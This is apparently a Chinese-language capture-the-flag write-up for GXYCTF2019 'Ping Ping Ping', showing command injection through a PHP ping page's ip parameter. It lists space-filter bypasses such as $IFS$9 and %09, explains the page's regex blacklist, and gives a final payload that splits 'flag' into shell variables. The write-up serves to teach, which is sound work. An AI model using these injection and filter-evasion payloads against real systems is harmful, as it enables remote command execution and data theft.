[GXYCTF2019]Ping Ping Ping
[GXYCTF2019]Ping Ping Ping
初次访问:
根据页面的提示/?ip=
以及题目Ping Ping Ping
可以猜测PING的IP可以通过GET型给参数ip
传参
尝试输入?ip=8.8.8.8
,页面回显ping 8.8.8.8
的内容,说明猜测是正确的
试试是否存在RCE漏洞,输入?ip=8.8.8.8;ls
,发现执行了ls
,说明存在RCE漏洞
想查看flag.php
里的内容,输入?ip=8.8.8.8;cat flag.php
,并没有得到预期的结果,发现其存在过滤机制,具体是什么机制还是未知,目前已知过滤空格
空格的替代方式
$IFS$9
=>cat$IFS$9flag.php
${ IFS}
=>cat${ IFS}flag.php
${IFS}
=>cat${IFS}flag.php
%09
=>cat%09flag.php
<
=>cat>flag.php
>
=>cat<flag.php
<>
=>cat<>flag.php
{,}
=>{cat,flag.php}
%20
(URL编码)
想办法绕过空格过滤,绕过空格过滤的方法有很多,一个个试,输入?ip=8.8.8.8;cat${IFS}flag.php
,发现不是提示space而是symbol,说明除了空格还过滤了其他的符号
直到输入?ip=8.8.8.8;cat$IFS$9flag.php
,发现不提示space、symbol,而是flag,说明连flag都过滤了
这时候就该蒙圈了,由于几乎不清楚过滤机制的逻辑,稳妥做法是先绕过空格过滤,然后查看index.php
的源码
输入?ip=8.8.8.8;cat$IFS$9index.php
,查看到index,php
里的源码
但怎么觉得这源码好像缺斤少两的,通过查看网页源代码获取到完整源码
重点看涉及到过滤机制的代码:
|
|
先看第一个判断:
|
|
preg_match()
是一个通过正则来匹配字符串的函数,匹配成功返回1、失败返回0,即true or false
格式大致为preg_match(["/正则规则/"],["接受匹配的字符串"],[用于存储匹配结果的数组])
(用于存储匹配结果的数组可有可无)
可以这么理解,如果"接受匹配的字符串"符合"/正则规则/",则返回个1,反之0
再来看正则部分,正则规则被包含在两个/
内
正则的内容是:\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}
[\x{00}-\x{1f}]
的意思是将匹配字符串中包含 Unicode 编码范围从 00 到 1F 的所有字符。
整条正则的意思是只要$ip
里有&
/
?
*
<
>
'
"
\
(
)
[
]
{
}
以及 Unicode 编码范围从 00 到 1F 的所有字符如回车、换行等的字符就匹配成功
再看第二个判断:
|
|
正则的内容是一个空格,意思是只要$ip
里有空格就匹配成功
再看第三个判断:
|
|
正则的内容是bash
,意思是只要$ip
里出现bash
就匹配成功
再看第四个判断:
|
|
正则的内容是.*f.*l.*a.*g.*
,意思是只要$ip
里依次出现f
l
a
g
就匹配成功,例如字符串:1f2l3a4g5
就可以匹配成功
知道了过滤机制接下来就要去绕过,原始payload是?ip=8.8.8.8;cat flag.php
,需要绕过的有:空格、flag
首先空格可以用$IFS$9
代替
由于$
和;
没有被过滤,所以可以用变量拼接来绕过正则.*f.*l.*a.*g.*
,例如:a=ag;b=fl
,这样flag
就变成$b$a
最终的payload是:?ip=8.8.8.8;a=ag;b=fl;cat$IFS$9$b$a.php
查看页面源码,得到flag
参考文章
欲将心事付瑶琴。知音少,弦断有谁听?